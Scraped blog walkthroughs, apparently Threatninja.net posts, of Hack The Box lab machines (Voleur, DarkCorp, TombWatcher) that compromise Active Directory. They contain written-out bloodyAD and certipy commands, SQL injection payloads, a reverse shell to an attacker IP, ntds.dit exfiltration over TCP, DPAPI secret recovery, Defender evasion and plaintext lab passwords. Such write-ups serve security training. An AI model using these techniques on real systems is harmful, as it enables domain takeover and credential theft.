Shares need to be selected from the enumerated list before accessing them.

The SMB session showed available shares (including hidden admin shares ADMIN$ and C$, domain shares NETLOGON and SYSVOL, and user shares like Finance, HR, IT); the command use IT switched into the IT share and ls will list that share’s files and directories — output depends on ryan.naylor’s permissions and may be empty or restricted if the account lacks write/list rights.

Directory listing shows a folder named First-Line Support — change into it with cd First-Line Support and run ls to view its contents.

Inside the First-Line Support folder, there is a single file named Access_Review.xlsx with a size of 16,896 bytes, along with the standard . and .. directories.

Retrieve or save the Access_Review.xlsx file from the share to the local system.

Saved the file locally on your machine.

The file Access_Review.xlsx is encrypted using CDFv2.

The file is password-protected and cannot be opened without the correct password.

Extracted the password hash from Access_Review.xlsx using office2john and saved it to a file named hash.

The output is the extracted Office 2013 password hash from Access_Review.xlsx in hashcat/John format, showing encryption type, iteration count, salt, and encrypted data, which can be used for offline password cracking attempts.

Hashcat could not identify any supported hash mode that matches the format of the provided hash.

CrackStation failed to find a viable cracking path.

After researching the hash, it’s confirmed as Office 2013 / CDFv2 (PBKDF2‑HMAC‑SHA1 with 100,000 iterations) and maps to hashcat mode 9600; use hashcat -m 9600 with targeted wordlists, masks, or rules (GPU recommended) but expect slow hashing due to the high iteration count — if hashcat rejects the format, update to the latest hashcat build or try John’s office2john/output path; only attempt cracking with proper authorization.

I found this guide on Medium that explains how to extract and crack the Office 2013 hash we retrieved

After performing a password enumeration, the credential football1 was identified, potentially belonging to the svc account. It is noteworthy that the Todd user had been deleted, yet its password remnants were still recoverable.

The Access_Review.xlsx file contained plaintext credentials for two service accounts: svc_ldap — M1XyC9pW7qT5Vn and svc_iis — N5pXyV1WqM7CZ8. These appear to be service-account passwords that could grant LDAP and IIS access; treat them as sensitive, rotate/reset the accounts immediately, and audit where and how the credentials were stored and used.

svc_ldap has GenericWrite over the Lacey user objects and WriteSPN on svc_winrm; next step is to request a service ticket for svc_winrm.

impacket-getTGT used svc_ldap’s credentials to perform a Kerberos AS-REQ to the domain KDC, received a valid TGT, and saved it to svc_ldap.ccache; that TGT can be used to request service tickets (TGS) and access domain services as svc_ldap until it expires or is revoked, so treat the ccache as a live credential and rotate/reset the account or investigate KDC logs if the activity is unauthorized.

Set the Kerberos credential cache to svc_ldap.ccache so that Kerberos-aware tools will use svc_ldap’s TGT for authentication.

Attempt to bypass the disabled account failed: no krbtgt entries were found, indicating an issue with the LDAP account used.

Run bloodyAD against voleur.htb as svc_ldap (Kerberos) targeting dc.voleur.htb to set the svc_winrm object’s servicePrincipalName to HTTP/fake.voleur.htb.

The hashes were successfully retrieved as shown previously.

Cracking failed when hashcat hit a segmentation fault.

Using John the Ripper, the Office hash was cracked and the password AFireInsidedeOzarctica980219afi was recovered — treat it as a live credential and use it only with authorization (e.g., to open the file or authenticate as the associated account).

Authenticate with kinit using the cracked password, then run evil-winrm to access the target.

To retrieve the user flag, run type user.txt in the compromised session.

Another way to retrieve user flag

Request a TGS for the svc_winrm service principal.

Use evil-winrm the same way as before to connect and proceed.

Alternatively, display the user flag with type C:\Users\<username>\Desktop\user.txt.

Escalate to Root Privileges Access

Privilege Escalation:

Enumerated C:\ and found an IT folder that warrants closer inspection.

The IT folder contains three directories — each checked next for sensitive files.

No relevant files or artifacts discovered so far.

The directories cannot be opened with the current permissions.

Runs bloodyAD against dc.voleur.htb as svc_ldap (authenticating with the given password and Kerberos) to enumerate all Active Directory objects that svc_ldap can write to; the get writable command lists objects with writable ACLs (e.g., GenericWrite, WriteSPN) and –include-del also returns deleted-object entries, revealing targets you can modify or abuse for privilege escalation (resetting attributes, writing SPNs, planting creds, etc.).

From the list of writable AD objects, locate the object corresponding to Todd Wolfe.

Located the object; proceed to restore it by assigning sAMAccountName todd.wolfe.

Runs bloodyAD against dc.voleur.htb as svc_ldap (Kerberos) to restore the deleted AD object todd.wolfe on the domain — this attempts to undelete the tombstoned account and reinstate its sAMAccountName; success depends on svc_ldap having sufficient rights and the object still being restorable.

The restoration was successful, so the next step is to verify whether the original password still works.

After evaluating options, launch runascs.exe to move forward with the attack path.

Execute RunasCS.exe to run powershell as svc_ldap using password M1XyC9pW7qT5Vn and connect back to 10.10.14.189:9007.

Established a reverse shell session from the callback.

Successfully escalated to and accessed the system as todd.wolfe.

Ultimately, all previously restricted directories are now visible.

You navigated into the IT share (Second-Line Support → Archived Users → todd.wolfe) and downloaded two DPAPI-related artefacts: the Protect blob at AppData\Roaming\Microsoft\Protect<SID>\08949382-134f-4c63-b93c-ce52efc0aa88 and the credential file at AppData\Roaming\Microsoft\Credentials\772275FAD58525253490A9B0039791D3; these are DPAPI master-key/credential blobs that can be used to recover saved secrets for todd.wolfe, when combined with the appropriate user or system keys, should be them as highly sensitive.

DPAPI Recovery and Abuse: How Encrypted Blobs Lead to Root

Using impacket-dpapi with todd.wolfe’s masterkey file and password (NightT1meP1dg3on14), the DPAPI master key was successfully decrypted; the output shows the master key GUID, lengths, and flags, with the decrypted key displayed in hex, which can now be used to unlock the user’s protected credentials and recover saved secrets from Windows.

The credential blob was decrypted successfully: it’s an enterprise-persisted domain password entry last written on 2025-01-29 12:55:19 for target Jezzas_Account with username jeremy.combs and password qT3V9pLXyN7W4m; the flags indicate it requires confirmation and supports wildcard matching. This is a live domain credential that can be used to authenticate to AD services or for lateral movement, so handle it as sensitive and test access only with authorization.

impacket-getTGT used jeremy.combs’s credentials to request a Kerberos TGT from the domain KDC and saved it to jeremy.combs.ccache; that TGT can be used to request service tickets (TGS) and authenticate to AD services (SMB, LDAP, WinRM, etc.) as jeremy.combs until it expires or is revoked, so inspect it with KRB5CCNAME=./jeremy.combs.ccache && klist and treat the cache as a live credential — rotate/reset the account or review KDC logs if the activity is unauthorized.

Set the Kerberos credential cache to jeremy.combs.ccache so Kerberos-aware tools will use jeremy.combs’s TGT for authentication.

Run bloodhound-python as jeremy.combs (password qT3V9pLXyN7W4m) using Kerberos and DNS server 10.10.11.76 to collect all AD data for voleur.htb and save the output as a zip for BloodHound import.

Account jeremy.combs is in the Third-Line Technicians group.

Connected to dc.voleur.htb with impacket-smbclient (Kerberos), switched into the IT share and listed contents — the directory Third-Line Support is present.

Downloaded two files from the share: the private SSH key id_rsa and the text file Note.txt.txt — treat id_rsa as a sensitive private key (check for a passphrase) and review Note.txt.txt for useful creds or instructions.

The note indicates that the administrator was dissatisfied with Windows Backup and has started configuring Windows Subsystem for Linux (WSL) to experiment with Linux-based backup tools. They are asking Jeremy to review the setup and implement or configure any viable backup solutions using the Linux environment. Essentially, it’s guidance to transition or supplement backup tasks from native Windows tools to Linux-based tools via WSL.

The key belongs to the svc_backup user, and based on the earlier port scan, port 2222 is open, which can be used to attempt a connection.

The only difference in this case is the presence of the backups directory.

There are two directories present: Active Directory and Registry.

Stream the raw contents of the ntds.dit file to a remote host by writing it out over a TCP connection.

The ntds.dit file was transferred to the remote host.

Stream the raw contents of the SYSTEM file to a remote host by writing it out over a TCP connection.

The SYSTEM file was transferred to the remote host.

That command runs impacket-secretsdump in offline mode against the dumped AD database and system hive — reading ntds.dit and SYSTEM to extract domain credentials and secrets (user NTLM hashes, cached credentials, machine account hashes, LSA secrets, etc.) for further offline analysis; treat the output as highly sensitive and use only with proper authorization.

Acquire an Administrator service ticket for WinRM access.

Authenticate with kinit using the cracked password, then run evil-winrm to access the target.

To retrieve the root flag, run type root.txt in the compromised session.

The post Hack The Box: Voleur Machinen Walkthrough – Medium Difficulty appeared first on Threatninja.net.

Hack The Box: DarkCorp Machine Walkthrough – Insane Difficulity

✇Threatninja.net
By: darknite
18 October 2025 at 11:43
Reading Time: 13 minutes

Introduction to DarkCorp:

In this writeup, we will explore the “DarkCorp” machine from Hack The Box, categorized as an Insane difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “DarkCorp” machine from Hack The Box by achieving the following objectives:

User Flag:

Gained initial foothold via the webmail/contact vector, registered an account, abused the contact form, and executed a payload to spawn a reverse shell. From the shell, read user.txt to capture the user flag.

Root Flag:

Performed post-exploitation and credential harvesting (SQLi → hashes → cracked password thePlague61780, DPAPI master key recovery and Pack_beneath_Solid9! recovered), used recovered credentials and privilege escalation techniques to obtain root, then read root.txt to capture the root flag.

Enumerating the DarkCorp Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine. 

nmap -sC -sV -oN nmap_initial.txt 10.10.11.54

Nmap Output: 

┌─[dark@parrot]─[~/Documents/htb/darkcorp]
└──╼ $nmap -sC -sV -oA initial 10.10.11.54 
# Nmap 7.94SVN scan initiated Sun Aug 17 03:07:38 2025 as: nmap -sC -sV -oA initial 10.10.11.54
Nmap scan report for 10.10.11.54
Host is up (0.18s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 33:41:ed:0a:a5:1a:86:d0:cc:2a:a6:2b:8d:8d:b2:ad (ECDSA)
|_  256 04:ad:7e:ba:11:0e:e0:fb:d0:80:d3:24:c2:3e:2c:c5 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 17 03:08:04 2025 -- 1 IP address (1 host up) scanned in 25.73 seconds
┌─[dark@parrot]─[~/Documents/htb/darkcorp]
└──╼ $

Analysis:

  • Port 22 (SSH): OpenSSH 9.2p1 on Debian — secure remote access; check for password authentication or weak credentials.
  • Port 80 (HTTP): nginx 1.22.1 — web server serving GET/HEAD only; perform directory and file enumeration for further insights.

Web Enumeration:

Nothing noteworthy was found on the website itself.

A subdomain was discovered that leads to the DripMail Webmail interface.

Register a new account and enter the email

As a next step, proceed to register a new account.

Enter the required information to create the new account.

We successfully created the account, confirming that the DripMail Webmail portal’s registration process works correctly. This indicates that user registration is open; therefore, we can interact with the mail system. Consequently, this may enable further exploration, including login, email sending, and service enumeration.

Check your email inbox

A new email appeared in the inbox from no-reply@drip.htb, indicating that the system had sent an automated message; moreover, it may contain a verification notice, onboarding information, or credential-related details, all of which are worth reviewing for further clues.

However, it turned out to be just a welcome email from no-reply@drip.htb, providing no useful information.

Contact Form Exploitation

The site includes a contact form that attackers could potentially exploit.

We entered a non-deterministic key value into the input.

Inserting image...

We sent the message successfully, confirming that the contact form works and accepts submissions.

CVE‑2024‑42009 — Web Enumeration with Burp Suite

Inserting image...

Burp shows the contact form submission (POST) carrying the random key and payload, followed by a successful response.

Inserting image...

We modified the contact-form recipient field and replayed the POST via Burp Repeater; the server returned 200 OK, and it delivered the message to admin@drip.htb.

Inserting image...

We received a request for customer information.

Inserting image...

Let’s start our listener

Contact Form Payload

Inserting image...

Insert the base64-encoded string into the message.

Inserting image...

The Burp Suite trace looks like the following.

A staff member sent an email.

Resetting the password

Inserting image...

We need to change the password.

Inserting image...

After setting the payload, we received a password reset link.

Inserting image...

Let’s change the password as needed

Inserting image...

We are provide with a dashboard

SQL injection discovered on dev-a3f1-01.drip.htb.

Inserting image...

We accessed the user overview and discovered useful information.

Inserting image...

The application is vulnerable to SQL injection.

SQLi Payload for Table Enumeration

Inserting image...

The input is an SQL injection payload that closes the current query and injects a new one: it terminates the original statement, runs
SELECT table_name FROM information_schema.tables WHERE table_schema=’public’;
and uses — to comment out the remainder. This enumerates all table names in the public schema; the response (Users, Admins) shows the database exposed those table names, confirming successful SQLi and information disclosure.

Inserting image...

The payload closes the current query and injects a new one:
SELECT column_name FROM information_schema.columns WHERE table_name=’Users’;–
which lists all column names for the Users table. The response (id, username, password, email, host_header, ip_address) confirms successful SQLi-driven schema enumeration and reveals sensitive columns (notably password and email) that could enable credential or user-data disclosure.

Obtained password hashes from the Users table (Users.password). These values are opaque; we should determine their type, attempt to crack only with authorisation, and protect them securely.

PostgreSQL File Enumeration

The SQL command SELECT pg_ls_dir('./'); invokes PostgreSQL’s pg_ls_dir() function to list all files and directories in the server process’s current directory (typically the database data or working directory). Because pg_ls_dir() exposes the filesystem view, it can reveal configuration files or other server-side files accessible to the database process — which is why it’s often used during post‑exploitation or SQLi-driven reconnaissance. Importantly, this function requires superuser privileges; therefore, a non‑superuser connection will be denied. Consequently, successful execution implies that the user has elevated database permissions.

The SQL command SELECT pg_read_file('PG_VERSION', 0, 200); calls PostgreSQL’s pg_read_file() to read up to 200 bytes starting at offset 0 from the file PG_VERSION on the database server. PG_VERSION normally contains the PostgreSQL version string, so a successful call discloses the DB version to the attacker — useful for fingerprinting — and typically requires superuser privileges, making its successful execution an indicator of elevated database access and a potential information‑disclosure risk.

Returning down the path, I spotted one; it would impress those who have beaten Cerberus…/../../ssssss

SSSD maintains its own local ticket credential caching mechanism (KCM), managed by the SSSD process. It stores a copy of the valid credential cache, while the corresponding encryption key is stored separately in /var/lib/sss/secrets/secrets.ldb and /var/lib/sss/secrets/.secrets.mkey.

Shell as postgres

Finally, we successfully received a reverse shell connection back to our machine; therefore, this confirmed that the payload executed correctly and established remote access as intended.

Nothing of significance was detected.

Discovered the database username and password.

Restore the Old email

Elevate the current shell to an interactive TTY.

The encrypted PostgreSQL backup dev-dripmail.old.sql.gpg is decrypted using the provided passphrase, and the resulting SQL dump is saved as dev-dripmail.old.sql. Consequently, this allows further inspection or restoration of the database for deeper analysis or recovery.

The output resembles what is shown above.

Found three hashes that can be cracked with Hashcat.

Hash Cracking via hashcat

We successfully recovered the password thePlague61780.

Since Hashcat managed to crack only one hash, we’ll therefore use CrackStation to attempt cracking the remaining two.

Bloodhound enumeration

Update the configuration file.

SSH as ebelford user

Established an SSH session to the machine as ebelforrd.

No binary found

Found two IP addresses and several subdomains on the target machine.

Update the subdomain entries in our /etc/hosts file.

Network Tunnelling and DNS Spoofing with sshuttle and dnschef

Use sshuttle to connect to the server and route traffic (like a VPN / port forwarding).

Additionally, dnschef was used to intercept and spoof DNS traffic during testing.

Gathering Information via Internal Status Monitor

Log in using the victor.r account credentials.

Click the check button to get a response

Replace the saved victor.r login details in Burp Suite.

Testing the suspected host and port for reachability.

Begin the NTLM relay/replay attack.

Leverage socatx64 to perform this activity.

Abuse S4U2Self and Gain a Shell on WEB-01

An LDAP interactive shell session is now running.

Run get_user_groups on svc_acc to list their groups.

Retrieved the SID associated with this action.

Retrieved the administrator.ccache Kerberos ticket.

We can read the user flag by typing “type user.txt” command

Escalate to Root Privileges Access on Darkcorp machine

Privilege Escalation:

Transfer sharpdpapi.exe to the target host.

Attempting to evade Windows Defender in a sanctioned test environment

The output reveals a DPAPI-protected credential blob located at
C:\Users\Administrator\AppData\Local\Microsoft\Credentials\32B2774DF751FF7E28E78AE75C237A1E. It references a master key with GUID {6037d071-...} and shows that the blob is protected using system-level DPAPI (CRYPTPROTECT_SYSTEM), with SHA-512 for hashing and AES-256 for encryption. Since the message indicates MasterKey GUID not in cache, the decryption cannot proceed until the corresponding master key is obtained — either from the user’s masterkey file or by accessing a process currently holding it in memory.

This output shows a DPAPI local credential file at C:\Users\Administrator\AppData\Local\Microsoft\Credentials\ with the filename 32B2774DF751FF7E28E78AE75C237A1E. The system protects it using a DPAPI master key (GUID {6037d071-cac5-481e-9e08-c4296c0a7ff7}), applies SHA-512 for hashing, and uses AES-256 for encryption. Because the master key isn’t currently in the cache, we can’t decrypt the credential blob until we obtain that master key (for example from the masterkey file) or access the process that holds it in memory.

Direct file transfer through evil-winrm was unsuccessful.

Transform the file into base64 format.

We successfully recovered the decrypted key; as noted above, this confirms the prior output and therefore enables further analysis.

Access darkcorp machine via angela.w

Successfully recovered the password Pack_beneath_Solid9!

Retrieval of angela.w’s NT hash failed.

Attempt to gain access to the angela.w account via a different method.

Acquired the hash dump for angela.w.

Save the ticket as angela.w.adm.ccache.

Successful privilege escalation to root.

Retrieved password hashes.

Password reset completed and new password obtained.

Exploiting GPOs with pyGPOAbuse

Enumerated several GPOs in the darkcorp.htb domain; additionally, each entry shows the GPO GUID, display name, SYSVOL path, applied extension GUIDs, version, and the policy areas it controls (registry, EFS policy/recovery, Windows Firewall, security/audit, restricted groups, scheduled tasks). Furthermore, the Default Domain Policy and Default Domain Controllers Policy enforce core domain and DC security — notably, the DC policy has many revisions. Meanwhile, the SecurityUpdates GPO appears to manage scheduled tasks and update enforcement. Therefore, map these SYSVOL files to find promising escalation vectors: for example, check for misconfigured scheduled tasks, review EFS recovery settings for exposed keys, and identify privileged group memberships. Also, correlate GPO versions and recent changes to prioritize likely targets.

BloodHound identifies taylor as GPO manager — pyGPOAbuse is applicable, pending discovery of the GPO ID.

Force a Group Policy update using gpupdate /force.

Display the root flag with type root.txt.

The post Hack The Box: DarkCorp Machine Walkthrough – Insane Difficulity appeared first on Threatninja.net.

Hack The Box: Tombwatcher Machine Walkthrough – Medium Difficulty

✇Threatninja.net
By: darknite
11 October 2025 at 10:58
Reading Time: 11 minutes

Introduction to TombWatcher:

In this write-up, we will explore the “TombWatcher” machine from HackTheBox, categorised as a Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Like real-world Windows engagements, start TombWatcher using the henry account with password H3nry_987TGV!.

Objective:

The goal of this walkthrough is to complete the “Tombwatcher” machine from Hack The Box by achieving the following objectives:

User Flag:

Using Kerberos and AD enumeration, the team cracked a TGS hash (Alfred → password: basketballl) and escalated access through account takeover and BloodHound-guided actions until they obtained valid interactive credentials for a machine user (john). With John’s credentials they authenticated to the host and retrieved the user flag by running type user.txt.

Root Flag:

We exploited a misconfigured certificate template (ESC15) with Certipy to request a certificate for the Administrator UPN, obtained a TGT (saved in administrator.ccache), and extracted the Administrator NT hash. Using those Administrator credentials, they logged into the DC/host and read the root flag with type root.txt.

Enumerating the Tombwatcher Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine. 

nmap -sC -sV -oA initial 10.10.11.72

Nmap Output: 

┌─[dark@parrot]─[~/Documents/htb/tombwatcher]
└──╼ $nmap -sC -sV -oA initial 10.10.11.72 
# Nmap 7.94SVN scan initiated Thu Oct  9 23:26:58 2025 as: nmap -sC -sV -oA initial 10.10.11.72
Nmap scan report for 10.10.11.72
Host is up (0.23s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-10 02:11:57Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2025-10-09T17:02:50
|_Not valid after:  2026-10-09T17:02:50
|_ssl-date: 2025-10-10T02:13:32+00:00; -1h15m15s from scanner time.

445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-10T02:13:31+00:00; -1h15m16s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2025-10-09T17:02:50
|_Not valid after:  2026-10-09T17:02:50445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-10T02:13:31+00:00; -1h15m16s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2025-10-09T17:02:50
|_Not valid after:  2026-10-09T17:02:50

3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-10T02:13:32+00:00; -1h15m16s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2025-10-09T17:02:50
|_Not valid after:  2026-10-09T17:02:50
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-10T02:13:31+00:00; -1h15m16s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2025-10-09T17:02:50
|_Not valid after:  2026-10-09T17:02:50
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -1h15m16s, deviation: 1s, median: -1h15m16s
| smb2-time: 
|   date: 2025-10-10T02:12:48
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Analysis:

  • 53/tcp — DNS (Simple DNS Plus): handles name resolution for the domain.
  • 80/tcp — HTTP (Microsoft-IIS/10.0): web server (TRACE enabled — potential info leak).
  • 88/tcp — Kerberos: AD authentication and ticketing service.
  • 135/tcp — MSRPC (Endpoint Mapper): Windows RPC enumeration and service discovery.
  • 139/tcp — NetBIOS-SSN: legacy file/share name resolution and enumeration.
  • 389/tcp — LDAP: Active Directory directory service (user/group enumeration).
  • 445/tcp — SMB (Microsoft-DS): file shares, enumeration, and lateral-movement vectors.
  • 464/tcp — kpasswd5: Kerberos password change service (can be abused in some workflows).
  • 593/tcp — RPC over HTTP: RPC tunneling over HTTP, useful for certain Windows RPC attacks.
  • 636/tcp — LDAPS: encrypted LDAP (useful for secure directory queries).
  • 3268/tcp — Global Catalog (LDAP): cross-domain AD object searches (fast user/group lookup).
  • 3269/tcp — Global Catalog (LDAPS): encrypted Global Catalog for secure cross-domain queries.

Enumeration:

The website lacks engaging content, featuring only an IIS interface.

BloodHound Enumeration Using Henry’s Credentials

Authentication is performed with the username “Henry” and password “H3nry_987TGV!”, using the nameserver at IP 10.10.11.72 for DNS resolution. All AD elements, such as groups, sessions, trusts, and ACLs (excluding real-time logged-on users), are gathered with the “-c All” flag, and the JSON output is packaged into a compressed ZIP archive via the “–zip” flag for import into the BloodHound GUI to visualize attack paths.

Henry added an SPN to Alfred’s account, which lets attackers request a service ticket for that SPN and perform Kerberoasting to crack Alfred’s password; since Henry could write the SPN, this is a direct takeover path—enumerate SPNs, request the TGS, and crack it offline.

Attempted to use GetUserSPN, but no entries were found!

Targeted Kerberoasting Attack Using Henry’s Credentials

Unfortunately, no results were obtained when using targeted Kerberos enumeration.

The provided string is a Kerberos TGS (Ticket Granting Service) hash in the $krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred* format, associated with the user “Alfred” in the “tombwatcher.htb” domain, likely obtained after successful clock synchronisation using ntpdate. This hash, commonly used in penetration testing scenarios like Hack The Box, can be cracked using tools like Hashcat to reveal Alfred’s credentials, enabling further privilege escalation or lateral movement within the domain. The hash includes encrypted ticket data, which can be analyzed to exploit vulnerabilities in the Kerberos authentication system.

We successfully cracked the Kerberos hash and obtained the password “basketballl” for the user Alfred on the domain.

BloodHound Enumeration Using ansible_dev’s Credentials

We should collect additional information using BloodHound-python

Infrastructure has ReadGMSAPassword on ansible_dev, which lets an attacker retrieve the gMSA password material for that account.

We attempted to use the GMSDumper script to retrieve the NTLM hash, but only infrastructure-related data was obtained.

Let’s add Alfred to the infrastructure group to proceed.

Finally, we obtained the NTLM hash for the user ansible_dev$.

Consequently, the attack successfully changed the password to gain SAM access.

BloodHound Enumeration Using SAM’s Credentials

We encountered a timeout error while trying to collect data with BloodHound.py.

We successfully resolved the issue by updating the clock skew.

Forcibly changed the ansible_dev account password to sam, giving immediate authentication capability as ansible_dev; this lets you log in as that service account (or use its credentials on hosts that accept it) to pivot, access service resources, or escalate further—next, validate access and hunt hosts using ansible_dev.

Privilege Escalation via BloodyAD

Using bloodyAD with the command bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u sam -p 'Passw@rd' set owner john sam, we successfully replaced the old owner of the “john” object with “sam” in the tombwatcher.htb domain.

The command bloodyAD --host 10.10.11.72 -d "tombwatcher.htb" -u "sam" -p 'Passw@rd' add genericAll "john" "sam" successfully granted “sam” GenericAll permissions on the “john” object in the tombwatcher.htb domain.

bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u 'sam' -p 'Passw@rd' add shadowCredentials john effectively added Shadow Credentials to the “john” object in the tombwatcher.htb domain, enabling potential Kerberos-based attacks like certificate-based authentication exploitation.

Set the environment variable KRB5CCNAME to john_E8.ccache with the command export KRB5CCNAME=john_E8.ccache to designate the Kerberos credential cache file for authentication operations involving the user “john” in the tombwatcher.htb domain.

Attempting to retrieve the NT hash with getnthash resulted in failure.

Efforts to use bloodyAD to obtain the ‘SAM’ object were unsuccessful.

The UserAccountControl settings indicate a standard account with a non-expiring password.

Issuing python3 owneredit.py -action write -target ‘john’ -new-owner ‘sam’ ‘tombwatcher.htb/sam’:’Abc123456@’ -dc-ip 10.10.11.72 actively changed the owner of the ‘john’ object to ‘sam’ in the tombwatcher.htb domain, targeting the domain controller at IP 10.10.11.72 with the provided credentials, and successfully updated the OwnerSID.

Ultimately, we successfully updated the password for the ‘john’ account in the tombwatcher.htb domain.

We successfully gained access to the machine using John’s credentials in the tombwatcher.htb domain.

Executing the command type user.txt allows viewing the user flag on the compromised machine in the tombwatcher.htb domain.

Escalate to Root Privileges Access

Privilege Escalation:

Running Get-ADObject -Filter {SamAccountName -eq 'cert_admin'} -IncludeDeletedObjects retrieves the Active Directory object for the ‘cert_admin’ account, including any deleted objects, in the tombwatcher.htb domain.

Attempting to restore all objects using their ObjectGUID in the tombwatcher.htb domain.

Running Enable-ADAccount -Identity cert_admin reactivates the ‘cert_admin’ account in the tombwatcher.htb domain, allowing its use within Active Directory.

Issuing Set-ADAccountPassword -Identity cert_admin -Reset -NewPassword (ConvertTo-SecureString "Abc123456@" -AsPlainText -Force) resets the password for the ‘cert_admin’ account to “Abc123456@” in the tombwatcher.htb domain, securely applying the change.

Identifying Vulnerable Certificate Templates with Certipy

Launching certipy find -u cert_admin -p 'Abc123456@' -dc-ip 10.10.11.72 -vulnerable scans for vulnerable certificate templates in the tombwatcher.htb domain using the ‘cert_admin’ account credentials, targeting the domain controller at IP 10.10.11.72.

Attackers identified the ESC15 vulnerability in the target domain, revealing a misconfiguration in certificate templates that enables unauthorized privilege escalation.

ESC15: Exploiting Certificate Services for Privilege Escalation

AD PKI Attack: Enroll a Certificate to Compromise Administrator

ESC15 is an Active Directory PKI attack where attackers abuse overly permissive certificate templates to obtain certificates for high‑privilege accounts (e.g., Administrator). By enrolling or abusing a template that allows non‑admin principals to request certificates or act as Certificate Request Agents, an attacker can request a certificate embedding a target UPN/SID, use it for PKINIT/CertAuth to get a TGT, and then escalate to domain compromise.

Issuing certipy req -u 'cert_admin@tombwatcher.htb' -p 'Abc123456@' -dc-ip '10.10.11.72' -target 'DC01.tombwatcher.htb' -ca 'tombwatcher-CA-1' -template 'WebServer' -upn 'administrator@tombwatcher.htb' -application-policies 'Client Authentication' requests a certificate in the tombwatcher.htb domain using the ‘cert_admin’ account, targeting the domain controller DC01 at IP 10.10.11.72, leveraging the ‘WebServer’ template from the ‘tombwatcher-CA-1’ authority with the UPN ‘administrator@tombwatcher.htb’ for client authentication purposes.

Failed Authentication Attempt with administrator.pfx Using Certipy

In the updated system, an error occurs when examining the signature algorithm, indicating CA_MD_TOO_WEAK.

Running openssl pkcs12 -in administrator.pfx -clcerts -nokeys | openssl x509 -text -noout extracts and displays the certificate details from the administrator.pfx file in a human-readable format, excluding private keys.

The certificate uses the SHA1withRSAEncryption signature algorithm, as revealed by analyzing the administrator.pfx file in the tombwatcher.htb domain.

Issuing certipy req -u ‘cert_admin@tombwatcher.htb’ -p ‘P@ssw0rd’ -dc-ip ‘10.10.11.72’ -target ‘DC01.tombwatcher.htb’ -ca ‘tombwatcher-CA-1’ -template ‘WebServer’ -application-policies ‘Certificate Request Agent’ requests a certificate from a V1 template in the tombwatcher.htb domain, using the ‘cert_admin’ account, targeting the domain controller DC01 at IP 10.10.11.72, via the ‘tombwatcher-CA-1’ authority with the ‘WebServer’ template, and injecting the “Certificate Request Agent” application policy.

Leverage the Certipy to request a certificate in the tombwatcher.htb domain. It uses the ‘cert_admin’ account with password ‘Abc123456@’ to authenticate, targeting the domain controller ‘DC01.tombwatcher.htb’ at IP 10.10.11.72. The request, made through the ‘tombwatcher-CA-1’ certificate authority with the ‘User’ template, utilizes the ‘cert_admin.pfx’ file (likely holding a Certificate Request Agent certificate) to request a certificate on behalf of the ‘tombwatcher\Administrator’ account. This exploits the ESC15 vulnerability, where a misconfigured certificate template allows ‘cert_admin’ to impersonate the Administrator, potentially enabling elevated privileges via Kerberos authentication or other attack vectors.

